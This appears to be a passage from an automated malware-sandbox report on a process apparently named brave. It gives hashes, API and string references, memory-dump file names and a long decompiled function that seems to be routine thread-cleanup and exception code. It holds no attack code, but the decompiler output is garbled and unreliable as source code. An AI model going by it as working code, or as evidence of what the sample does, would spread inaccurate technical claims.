Opcode Fuzzy Hash: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction Fuzzy Hash: B46190F7E39A4395FB00AB58F8052B8A6A0BF48795FD98032C94D467A5EE7CA505C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEFC40 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF77BEEFD13
abort.MSVCRT(?,?,?,?,?,?,00000000,00000001,?,?,00000060,?,00007FF77BF121C5), ref: 00007FF77BEEFD19
RtlUnwindEx.KERNEL32 ref: 00007FF77BEEFE2C

Strings

CCG , xrefs: 00007FF77BEEFCAD
CCG", xrefs: 00007FF77BEEFCA1
CCG!, xrefs: 00007FF77BEEFC69
CCG!, xrefs: 00007FF77BEEFD01

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction ID: a5804196d5e7aa625f5c756bfdd4a67e8c466d4daf0ba75e6cd8cccec96e9b1b
Opcode Fuzzy Hash: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction Fuzzy Hash: 32519273628B8086E7609F59F8406AD77A4F789B98FA44135EF8D43B68CF38D591C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF2220 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 51
threadCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF77BEF2220(void* __edi, void* __esp, void* __rbx, void* __rdi, void* __rsi, void* __rbp, void* __r12, void* __r13, void* __r14, void* __r15) {
				char _v14;
				short _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v81;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				long long _v120;
				short _t150;
				long _t151;
				int _t159;
				void* _t203;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				void* _t215;
				void* _t277;
				intOrPtr _t340;
				intOrPtr _t342;
				intOrPtr _t343;
				intOrPtr _t344;
				intOrPtr _t345;
				intOrPtr _t348;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t352;
				intOrPtr _t354;
				intOrPtr _t355;
				intOrPtr _t356;
				intOrPtr _t358;
				intOrPtr _t359;
				intOrPtr _t360;
				intOrPtr _t362;
				intOrPtr _t364;
				intOrPtr _t367;
				intOrPtr _t368;
				intOrPtr _t370;
				intOrPtr _t373;
				intOrPtr _t376;
				intOrPtr _t378;
				intOrPtr _t379;
				intOrPtr _t381;
				intOrPtr _t384;
				intOrPtr _t385;
				intOrPtr _t387;
				intOrPtr _t390;
				intOrPtr _t392;
				intOrPtr _t393;
				intOrPtr _t395;
				intOrPtr _t396;
				intOrPtr _t402;
				intOrPtr _t403;
				void* _t413;
				intOrPtr* _t414;
				signed long long _t416;
				void* _t439;
				long _t444;
				signed long long _t486;
				void* _t497;
				long long _t499;
				intOrPtr* _t501;
				intOrPtr* _t502;
				void* _t503;
				void* _t504;
				void* _t522;
				void* _t523;
				void* _t531;
				void* _t541;

				_t504 = _t503 - 0x98;
				_v120 = 0x6f727245;
				_v112 = 0x696e6165;
				_v104 = 0x70732070;
				_v96 = 0x20737965;
				_v88 = 0x65726874;
				_v80 = 0;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				_v40 = 0;
				_v32 = 0;
				_v24 = 0;
				_v16 = _t150;
				_v14 = 0;
				_t151 = GetCurrentThreadId();
				r8d = 0xa;
				__imp___ultoa();
				if (_v81 == 0) goto 0x7bef2332;
				asm("adc [edi], ecx");
				asm("pop ds");
				 *0x28 =  *0x28;
				 *0x28 =  *0x28 + _t151;
				if (0x28 == 0x6b) goto 0x7bef2327;
				_t444 = _t151;
				if ( *0x244C8D4800000029 != 0) goto 0x7bef2300;
				if (_t444 == 0x6a) goto 0x7bef2327;
				 *((char*)(_t504 + _t444 + 0x20)) = 0xa;
				 *((char*)(_t504 + _t444 + 0x21)) = 0;
				OutputDebugStringA(??);
				abort();
				 *0x27B9FFFFFFB5 =  *((intOrPtr*)(0x27b9ffffffb5)) + _t206;
				goto 0x7bef231b;
				asm("o16 nop [cs:eax+eax]");
				E00007FF77FF77BEF0F00(0);
				E00007FF77FF77BEF04E0(0x27ba00000030);
				if ( *0x00000000 != 0) goto 0x7bef23a0;
				E00007FF77FF77BEF2160();
				 *0x00000000 = 1;
				E00007FF77FF77BEF0800(0x27ba00000030);
				_pop(_t497);
				_pop(_t522);
				_pop(_t531);
				goto E00007FF77FF77BEF1110;
				if (_t497 == 1) goto 0x7bef2382;
				r9d = _t215;
				0x7bf016f8();
				goto 0x7bef2382;
				asm("o16 nop [eax+eax]");
				_t501 =  *0x7c196920; // 0x7ff77c1a1400
				_t340 =  *_t501;
				if (_t340 == 0) goto 0x7bef2518;
				if ( *((long long*)(_t340 + 0x60)) != 0) goto 0x7bef2540;
				 *((long long*)(_t340 + 0x60)) = 0x7c192bc8;
				_t159 = E00007FF77FF77BEF04E0(0x7c192bc8);
				if ( *((intOrPtr*)(0x27ba00000200)) != 0) goto 0x7bef25f0;
				if ( *0x27BA00000078 == 0) goto 0x7bef2430;
				free(0);
				if ( *0x27BA00000080 == 0) goto 0x7bef243e;
				free(_t497);
				if ( *0x27BA00000088 == 0) goto 0x7bef244c;
				free(__rdi);
				 *0x28 = 0;
				 *((long long*)(0x27ba00000200)) = 0;
				memset(__edi, _t159, _t206 << 0);
				_t342 =  *_t501;
				if (_t342 == 0) goto 0x7bef2758;
				if ( *((long long*)(_t342 + 0x58)) != 0) goto 0x7bef2550;
				 *((long long*)(_t342 + 0x58)) = 0x7c1a13b0;
				if ( *0x7c1a13b0 == 0) goto 0x7bef255e;
				if ( *((long long*)(_t342 + 0x58)) != 0) goto 0x7bef25c0;
				 *((long long*)(_t342 + 0x58)) = 0x7c1a13b0;
				 *((long long*)( *0x7c1a13b0 + 0x1d0)) = 0x28;
				if ( *((long long*)(_t342 + 0x58)) == 0) goto 0x7bef25e0;
				 *((long long*)( *((intOrPtr*)(_t342 + 0x58)))) = 0x28;
				if (_t342 == 0) goto 0x7bef25a3;
				_t209 = _t208 & 0xffffff00 |  *((long long*)(_t342 + 0x60)) != 0x00000000;
				if (_t209 == 0) goto 0x7bef25c9;
				if (_t342 == 0) goto 0x7bef2a30;
				_pop(_t499);
				_t502 = _t522;
				_t523 = _t531;
				_pop(_t541);
				goto E00007FF77FF77BEF0800;
				E00007FF77FF77BEF7060();
				_t343 =  *_t502;
				if ( *((long long*)(_t342 + 0x60)) == 0) goto 0x7bef2402;
				if (_t343 != 0) goto 0x7bef2540;
				E00007FF77FF77BEF7060();
				asm("o16 nop [cs:eax+eax]");
				goto 0x7bef240d;
				if ( *((long long*)( *((intOrPtr*)(_t343 + 0x58)))) != 0) goto 0x7bef24a7;
				if ( *((long long*)(_t343 + 0x58)) != 0) goto 0x7bef26d8;
				 *((long long*)(_t343 + 0x58)) = 0x7c1a13b0;
				 *0x7c1a13b0 = _t499;
				if ((_t209 & 0xffffff00 |  *((long long*)(_t343 + 0x50)) != 0x00000000) == 0) goto 0x7bef280d;
				if (_t343 == 0) goto 0x7bef2c8c;
				 *((long long*)( *((intOrPtr*)(_t343 + 0x50)))) =  *0x7c1a13b0;
				if (_t343 != 0) goto 0x7bef24e2;
				E00007FF77FF77BEF7060();
				_t344 =  *_t502;
				goto 0x7bef24ea;
				goto 0x7bef24bd;
				 *((long long*)(_t344 + 0x60)) = 0x7c192bc8;
				goto 0x7bef24ff;
				 *((long long*)(_t344 + 0x58)) = 0x7c1a13b0;
				goto 0x7bef24d6;
				_t345 =  *_t502;
				if (_t345 == 0) goto 0x7bef2a40;
				if ( *((long long*)(_t345 + 0x70)) != 0) goto 0x7bef26c8;
				 *((long long*)(_t345 + 0x70)) = 0x7c1a13a0;
				if ( *0x7c1a13a0 == 0) goto 0x7bef2422;
				if ( *((long long*)( *_t502 + 0x70)) == 0) goto 0x7bef2820;
				r12d = 0;
				goto 0x7bef266a;
				asm("o16 nop [cs:eax+eax]");
				if (0x7c1a13b0 == _t523) goto 0x7bef2422;
				if (0x7ff77c1a13af - _t523 < 0) goto 0x7bef2422;
				_t348 =  *_t502;
				if (_t348 == 0) goto 0x7bef2708;
				if ( *((long long*)(_t348 + 0x68)) == 0) goto 0x7bef26e8;
				_t349 =  *_t502;
				_t486 = _t523 + 0x7ff77c1a13af >> 1 << 4;
				if (_t541 ==  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x68)))) + _t486 + 8))) goto 0x7bef2830;
				if (_t349 == 0) goto 0x7bef2730;
				if ( *((long long*)(_t349 + 0x68)) == 0) goto 0x7bef26f8;
				_t351 =  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x68))));
				if (_t541 -  *((intOrPtr*)(_t351 + _t486 + 8)) < 0) goto 0x7bef2650;
				goto 0x7bef265d;
				asm("o16 nop [eax+eax]");
				_t352 =  *((intOrPtr*)(_t351 + 0x70));
				goto 0x7bef2616;
				goto 0x7bef2574;
				 *((long long*)(_t352 + 0x68)) = 0x7c1a13a8;
				goto 0x7bef2689;
				 *((long long*)(_t352 + 0x68)) = 0x7c1a13a8;
				goto 0x7bef26b2;
				E00007FF77FF77BEF7060();
				_t354 =  *_t502;
				if ( *0x7FF77C1A1410 == 0) goto 0x7bef26e8;
				if (_t354 != 0) goto 0x7bef2681;
				E00007FF77FF77BEF7060();
				goto 0x7bef2681;
				E00007FF77FF77BEF7060();
				_t355 =  *_t502;
				if ( *((long long*)(_t354 + 0x68)) == 0) goto 0x7bef26f8;
				if (_t355 != 0) goto 0x7bef26ae;
				E00007FF77FF77BEF7060();
				goto 0x7bef26ae;
				E00007FF77FF77BEF7060();
				_t356 =  *_t502;
				if ( *((long long*)(_t355 + 0x58)) == 0) goto 0x7bef2492;
				if (_t356 != 0) goto 0x7bef2550;
				E00007FF77FF77BEF7060();
				if ( *((long long*)( *((intOrPtr*)(_t356 + 0x58)))) == 0) goto 0x7bef2aac;
				_t358 =  *_t502;
				if (_t358 != 0) goto 0x7bef24a7;
				E00007FF77FF77BEF7060();
				_t359 =  *_t502;
				if ( *((long long*)(_t358 + 0x58)) == 0) goto 0x7bef24b2;
				if (_t359 != 0) goto 0x7bef25c0;
				E00007FF77FF77BEF7060();
				_t360 =  *_t502;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t359 + 0x58)))) + 0x1d0)) = _t499;
				if (_t360 != 0) goto 0x7bef24c7;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t360 + 0x58)) == 0) goto 0x7bef25e0;
				if ( *_t502 != 0) goto 0x7bef24d2;
				E00007FF77FF77BEF7060();
				_t362 =  *_t502;
				goto 0x7bef24d6;
				 *((long long*)(_t362 + 0x50)) = 0x7c1a13b8;
				goto 0x7bef2594;
				 *((long long*)(_t362 + 0x70)) = 0x7c1a13a0;
				goto 0x7bef2633;
				if (_t362 == 0) goto 0x7bef2c9e;
				if ( *((long long*)(_t362 + 0x68)) != 0) goto 0x7bef2908;
				 *((long long*)(_t362 + 0x68)) = 0x7c1a13a8;
				_t413 =  *((intOrPtr*)(_t352 + 0x58)) + 1;
				if ( *((long long*)(_t362 + 0x70)) != 0) goto 0x7bef2b20;
				_t277 =  *0x7c1a13a0 - _t413; // 0x1
				 *((long long*)(_t362 + 0x70)) = 0x7c1a13a0;
				if (_t277 > 0) goto 0x7bef2ba2;
				if ( *((long long*)(_t362 + 0x70)) != 0) goto 0x7bef2a10;
				 *((long long*)(_t362 + 0x70)) = 0x7c1a13a0;
				 *0x7c1a13a0 =  *0x7c1a13a0 - 1;
				if ( *((long long*)(_t362 + 0x70)) != 0) goto 0x7bef2b10;
				 *((long long*)(_t362 + 0x70)) = 0x7c1a13a0;
				if ( *0x7c1a13a0 != 0) goto 0x7bef2422;
				if ( *((long long*)(_t362 + 0x68)) == 0) goto 0x7bef2c5b;
				free(??);
				_t364 =  *_t502;
				if (_t364 == 0) goto 0x7bef2cb7;
				if ( *((long long*)(_t364 + 0x78)) == 0) goto 0x7bef2c4b;
				_t414 =  *((intOrPtr*)(_t364 + 0x78));
				 *_t414 = 0;
				if ( *((long long*)(_t364 + 0x70)) == 0) goto 0x7bef2c38;
				 *((long long*)( *((intOrPtr*)(_t364 + 0x70)))) =  *_t414;
				goto 0x7bef2422;
				if ( *_t502 != 0) goto 0x7bef284f;
				E00007FF77FF77BEF7060();
				_t367 =  *_t502;
				if (_t367 != 0) goto 0x7bef2853;
				E00007FF77FF77BEF7060();
				_t368 =  *_t502;
				if ( *((long long*)(_t367 + 0x70)) == 0) goto 0x7bef285e;
				if (_t368 != 0) goto 0x7bef2b20;
				E00007FF77FF77BEF7060();
				_t370 =  *_t502;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t368 + 0x70)))) - _t414 + 1 <= 0) goto 0x7bef2b80;
				if (_t370 != 0) goto 0x7bef2b2d;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t370 + 0x70)) == 0) goto 0x7bef2b34;
				if ( *_t502 != 0) goto 0x7bef2ba2;
				E00007FF77FF77BEF7060();
				_t373 =  *_t502;
				if (_t373 != 0) goto 0x7bef2b49;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t373 + 0x68)) == 0) goto 0x7bef2c28;
				if ( *_t502 != 0) goto 0x7bef2b54;
				E00007FF77FF77BEF7060();
				_t376 =  *_t502;
				if (_t376 != 0) goto 0x7bef2c6e;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t376 + 0x68)) == 0) goto 0x7bef2c79;
				if ( *_t502 != 0) goto 0x7bef2b65;
				E00007FF77FF77BEF7060();
				goto 0x7bef2b65;
				_t378 =  *_t502;
				if (_t378 == 0) goto 0x7bef2ba8;
				goto 0x7bef288c;
				asm("o16 nop [cs:eax+eax]");
				E00007FF77FF77BEF7060();
				goto 0x7bef24fb;
				asm("o16 nop [eax+eax]");
				E00007FF77FF77BEF7060();
				_t379 =  *_t502;
				if ( *((long long*)(_t378 + 0x70)) == 0) goto 0x7bef2608;
				if (_t379 != 0) goto 0x7bef26c8;
				E00007FF77FF77BEF7060();
				if ( *((long long*)( *((intOrPtr*)(_t379 + 0x70)))) == 0) goto 0x7bef2422;
				_t381 =  *_t502;
				if (_t381 != 0) goto 0x7bef2624;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t381 + 0x70)) == 0) goto 0x7bef2820;
				if ( *_t502 != 0) goto 0x7bef262f;
				E00007FF77FF77BEF7060();
				goto 0x7bef2633;
				_t384 =  *_t502;
				if (_t384 != 0) goto 0x7bef255e;
				E00007FF77FF77BEF7060();
				_t385 =  *_t502;
				if ( *((long long*)(_t384 + 0x58)) == 0) goto 0x7bef2569;
				if (_t385 != 0) goto 0x7bef26d8;
				E00007FF77FF77BEF7060();
				_t416 =  *((intOrPtr*)(_t385 + 0x58));
				 *_t416 = _t499;
				if ( *_t502 != 0) goto 0x7bef2577;
				E00007FF77FF77BEF7060();
				_t387 =  *_t502;
				goto 0x7bef257f;
				goto 0x7bef28a6;
				if (_t416 -  *((intOrPtr*)( *((intOrPtr*)(_t387 + 0x70)))) >= 0) goto 0x7bef2876;
				if ( *((long long*)(_t387 + 0x70)) != 0) goto 0x7bef2ba2;
				 *((long long*)(_t387 + 0x70)) = 0x7c1a13a0;
				if ( *((long long*)(_t387 + 0x68)) == 0) goto 0x7bef2c28;
				_t439 =  *((intOrPtr*)( *((intOrPtr*)(_t387 + 0x68)))) + (_t416 << 4) - 0x10;
				memcpy(??, ??, ??);
				_t390 =  *_t502;
				if (_t390 != 0) goto 0x7bef2876;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t390 + 0x70)) != 0) goto 0x7bef2a10;
				goto 0x7bef2881;
				goto 0x7bef2b3f;
				E00007FF77FF77BEF7060();
				_t392 =  *_t502;
				 *((long long*)( *((intOrPtr*)( *_t502 + 0x70)))) =  *((long long*)( *((intOrPtr*)( *_t502 + 0x70)))) - 1;
				if (_t392 != 0) goto 0x7bef2890;
				E00007FF77FF77BEF7060();
				_t393 =  *_t502;
				if ( *((long long*)(_t392 + 0x70)) == 0) goto 0x7bef289b;
				if (_t393 != 0) goto 0x7bef2b10;
				E00007FF77FF77BEF7060();
				if ( *((long long*)( *((intOrPtr*)(_t393 + 0x70)))) != 0) goto 0x7bef2422;
				_t395 =  *_t502;
				if (_t395 != 0) goto 0x7bef28b0;
				E00007FF77FF77BEF7060();
				_t396 =  *_t502;
				if ( *((long long*)(_t395 + 0x68)) == 0) goto 0x7bef2c5b;
				if (_t396 != 0) goto 0x7bef28bb;
				E00007FF77FF77BEF7060();
				goto 0x7bef28bb;
				 *((long long*)(_t396 + 0x68)) = 0x7c1a13a8;
				goto 0x7bef2b58;
				 *((long long*)(_t396 + 0x70)) = 0x7c1a13a0;
				goto 0x7bef28f9;
				 *0x7FF77C1A1418 = 0x7c1a1398;
				goto 0x7bef28e3;
				 *0x7FF77C1A1408 = 0x7c1a13a8;
				goto 0x7bef28bf;
				if ( *((long long*)(0x7ff77c1a1410)) != 0) goto 0x7bef2b65;
				 *((long long*)(0x7ff77c1a1410)) = 0x7c1a13a8;
				goto 0x7bef2b69;
				E00007FF77FF77BEF7060();
				goto 0x7bef2594;
				E00007FF77FF77BEF7060();
				if ( *((long long*)( *_t502 + 0x68)) != 0) goto 0x7bef2908;
				goto 0x7bef2844;
				E00007FF77FF77BEF7060();
				_t402 =  *_t502;
				if ( *((long long*)( *_t502 + 0x78)) == 0) goto 0x7bef2c4b;
				if (_t402 != 0) goto 0x7bef28df;
				E00007FF77FF77BEF7060();
				_t403 =  *_t502;
				 *((long long*)( *((intOrPtr*)(_t402 + 0x78)))) = 0;
				if (_t403 != 0) goto 0x7bef28ea;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t403 + 0x70)) == 0) goto 0x7bef2c38;
				if ( *_t502 != 0) goto 0x7bef28f5;
				_t203 = E00007FF77FF77BEF7060();
				goto 0x7bef28f5;
				asm("o16 nop [eax+eax]");
				if (_t439 == 0) goto 0x7bef2d2f;
				if ( *((long long*)(_t439 + 0x1d0)) == 0) goto 0x7bef2d30;
				return _t203;
			}

0x7ff77bef2220
0x7ff77bef223b
0x7ff77bef224a
0x7ff77bef2259
0x7ff77bef2268
0x7ff77bef226f
0x7ff77bef2276
0x7ff77bef227b
0x7ff77bef2284
0x7ff77bef228d
0x7ff77bef2296
0x7ff77bef229f
0x7ff77bef22a8
0x7ff77bef22b1
0x7ff77bef22bd
0x7ff77bef22c5
0x7ff77bef22cd
0x7ff77bef22d8
0x7ff77bef22e0
0x7ff77bef22eb
0x7ff77bef22f8
0x7ff77bef22fa
0x7ff77bef22fb
0x7ff77bef22fe
0x7ff77bef2308
0x7ff77bef230e
0x7ff77bef2311
0x7ff77bef2316
0x7ff77bef231d
0x7ff77bef2322
0x7ff77bef2327
0x7ff77bef232d
0x7ff77bef233b
0x7ff77bef2341
0x7ff77bef2343
0x7ff77bef235d
0x7ff77bef236c
0x7ff77bef2375
0x7ff77bef2377
0x7ff77bef237c
0x7ff77bef2385
0x7ff77bef2392
0x7ff77bef2393
0x7ff77bef2395
0x7ff77bef2397
0x7ff77bef23a3
0x7ff77bef23b0
0x7ff77bef23c0
0x7ff77bef23c5
0x7ff77bef23c7
0x7ff77bef23e0
0x7ff77bef23e7
0x7ff77bef23f1
0x7ff77bef23fc
0x7ff77bef2409
0x7ff77bef240d
0x7ff77bef241c
0x7ff77bef2429
0x7ff77bef242b
0x7ff77bef2437
0x7ff77bef2439
0x7ff77bef2445
0x7ff77bef2447
0x7ff77bef2455
0x7ff77bef245c
0x7ff77bef2477
0x7ff77bef247a
0x7ff77bef2481
0x7ff77bef248c
0x7ff77bef2499
0x7ff77bef24a1
0x7ff77bef24ac
0x7ff77bef24b9
0x7ff77bef24c0
0x7ff77bef24cc
0x7ff77bef24d6
0x7ff77bef24dc
0x7ff77bef24e7
0x7ff77bef24ec
0x7ff77bef24f5
0x7ff77bef2504
0x7ff77bef2506
0x7ff77bef2507
0x7ff77bef250b
0x7ff77bef250f
0x7ff77bef2518
0x7ff77bef2522
0x7ff77bef2526
0x7ff77bef252f
0x7ff77bef2531
0x7ff77bef2536
0x7ff77bef2544
0x7ff77bef2558
0x7ff77bef2563
0x7ff77bef2570
0x7ff77bef2574
0x7ff77bef2581
0x7ff77bef258a
0x7ff77bef2597
0x7ff77bef259d
0x7ff77bef25a3
0x7ff77bef25ad
0x7ff77bef25b4
0x7ff77bef25c4
0x7ff77bef25d0
0x7ff77bef25d4
0x7ff77bef25e7
0x7ff77bef25eb
0x7ff77bef25f0
0x7ff77bef25f7
0x7ff77bef2602
0x7ff77bef260f
0x7ff77bef261a
0x7ff77bef2629
0x7ff77bef2636
0x7ff77bef2644
0x7ff77bef2646
0x7ff77bef2653
0x7ff77bef2660
0x7ff77bef2666
0x7ff77bef2674
0x7ff77bef267f
0x7ff77bef2685
0x7ff77bef268f
0x7ff77bef2698
0x7ff77bef26a1
0x7ff77bef26ac
0x7ff77bef26b2
0x7ff77bef26ba
0x7ff77bef26c0
0x7ff77bef26c2
0x7ff77bef26c8
0x7ff77bef26cc
0x7ff77bef26dc
0x7ff77bef26e8
0x7ff77bef26ef
0x7ff77bef26f8
0x7ff77bef26ff
0x7ff77bef2708
0x7ff77bef2712
0x7ff77bef2716
0x7ff77bef271b
0x7ff77bef2721
0x7ff77bef2726
0x7ff77bef2730
0x7ff77bef273a
0x7ff77bef273e
0x7ff77bef2743
0x7ff77bef2749
0x7ff77bef274e
0x7ff77bef2758
0x7ff77bef2760
0x7ff77bef2769
0x7ff77bef2772
0x7ff77bef2778
0x7ff77bef2785
0x7ff77bef278b
0x7ff77bef2792
0x7ff77bef2798
0x7ff77bef27a0
0x7ff77bef27a9
0x7ff77bef27b2
0x7ff77bef27b8
0x7ff77bef27c0
0x7ff77bef27cb
0x7ff77bef27d5
0x7ff77bef27db
0x7ff77bef27ec
0x7ff77bef27f5
0x7ff77bef27fb
0x7ff77bef2804
0x7ff77bef2808
0x7ff77bef2814
0x7ff77bef2818
0x7ff77bef2827
0x7ff77bef282b
0x7ff77bef2833
0x7ff77bef283e
0x7ff77bef284b
0x7ff77bef284f
0x7ff77bef2858
0x7ff77bef2865
0x7ff77bef286c
0x7ff77bef2870
0x7ff77bef287b
0x7ff77bef2888
0x7ff77bef288c
0x7ff77bef2895
0x7ff77bef28a2
0x7ff77bef28aa
0x7ff77bef28b5
0x7ff77bef28c2
0x7ff77bef28c7
0x7ff77bef28ce
0x7ff77bef28d9
0x7ff77bef28df
0x7ff77bef28e3
0x7ff77bef28ef
0x7ff77bef28fc
0x7ff77bef28ff
0x7ff77bef290f
0x7ff77bef2915
0x7ff77bef291a
0x7ff77bef2925
0x7ff77bef292b
0x7ff77bef2935
0x7ff77bef2939
0x7ff77bef2942
0x7ff77bef2948
0x7ff77bef2954
0x7ff77bef2958
0x7ff77bef2968
0x7ff77bef296e
0x7ff77bef297c
0x7ff77bef2985
0x7ff77bef298b
0x7ff77bef2997
0x7ff77bef29a5
0x7ff77bef29ab
0x7ff77bef29b9
0x7ff77bef29c2
0x7ff77bef29c8
0x7ff77bef29d4
0x7ff77bef29de
0x7ff77bef29e4
0x7ff77bef29f2
0x7ff77bef29fb
0x7ff77bef2a01
0x7ff77bef2a06
0x7ff77bef2a10
0x7ff77bef2a17
0x7ff77bef2a21
0x7ff77bef2a26
0x7ff77bef2a30
0x7ff77bef2a35
0x7ff77bef2a3a
0x7ff77bef2a40
0x7ff77bef2a4a
0x7ff77bef2a4e
0x7ff77bef2a57
0x7ff77bef2a5d
0x7ff77bef2a6a
0x7ff77bef2a70
0x7ff77bef2a77
0x7ff77bef2a7d
0x7ff77bef2a8b
0x7ff77bef2a94
0x7ff77bef2a9a
0x7ff77bef2aa7
0x7ff77bef2aac
0x7ff77bef2ab3
0x7ff77bef2ab9
0x7ff77bef2ac1
0x7ff77bef2aca
0x7ff77bef2ad3
0x7ff77bef2ad9
0x7ff77bef2ade
0x7ff77bef2ae6
0x7ff77bef2aec
0x7ff77bef2af2
0x7ff77bef2afc
0x7ff77bef2b03
0x7ff77bef2b14
0x7ff77bef2b27
0x7ff77bef2b32
0x7ff77bef2b3b
0x7ff77bef2b4e
0x7ff77bef2b72
0x7ff77bef2b77
0x7ff77bef2b7c
0x7ff77bef2b83
0x7ff77bef2b89
0x7ff77bef2b93
0x7ff77bef2b9d
0x7ff77bef2ba6
0x7ff77bef2ba8
0x7ff77bef2bb1
0x7ff77bef2bb5
0x7ff77bef2bbc
0x7ff77bef2bc2
0x7ff77bef2bca
0x7ff77bef2bd3
0x7ff77bef2bdc
0x7ff77bef2be2
0x7ff77bef2bef
0x7ff77bef2bf5
0x7ff77bef2bfc
0x7ff77bef2c02
0x7ff77bef2c0a
0x7ff77bef2c13
0x7ff77bef2c18
0x7ff77bef2c1e
0x7ff77bef2c23
0x7ff77bef2c2f
0x7ff77bef2c33
0x7ff77bef2c3f
0x7ff77bef2c46
0x7ff77bef2c52
0x7ff77bef2c56
0x7ff77bef2c62
0x7ff77bef2c69
0x7ff77bef2c73
0x7ff77bef2c80
0x7ff77bef2c87
0x7ff77bef2c8c
0x7ff77bef2c99
0x7ff77bef2c9e
0x7ff77bef2ca8
0x7ff77bef2cb2
0x7ff77bef2cb7
0x7ff77bef2cbf
0x7ff77bef2cc8
0x7ff77bef2ccd
0x7ff77bef2cd3
0x7ff77bef2cdc
0x7ff77bef2ce0
0x7ff77bef2cea
0x7ff77bef2cf0
0x7ff77bef2d01
0x7ff77bef2d0a
0x7ff77bef2d10
0x7ff77bef2d15
0x7ff77bef2d1a
0x7ff77bef2d23
0x7ff77bef2d2d
0x7ff77bef2d2f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF22CD
_ultoa.MSVCRT ref: 00007FF77BEF22E0
OutputDebugStringA.KERNEL32 ref: 00007FF77BEF2327
abort.MSVCRT ref: 00007FF77BEF232D

Strings

thread , xrefs: 00007FF77BEF225E
Error cl, xrefs: 00007FF77BEF2227
eaning u, xrefs: 00007FF77BEF2231
eys for , xrefs: 00007FF77BEF224F
p spin_k, xrefs: 00007FF77BEF2240

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoaabort
String ID: Error cl$eaning u$eys for $p spin_k$thread
API String ID: 4191895893-3545615192
Opcode ID: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction ID: b46f140498279872cfdab4652f59fbb52017d23505161c199a58217748e5bbe9
Opcode Fuzzy Hash: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction Fuzzy Hash: A4214FB262CB8185E7609B18F05432AF6E1F785745F908134E2CD4ABA8DF7DE4498B11

Uniqueness

Uniqueness Score: -1.00%

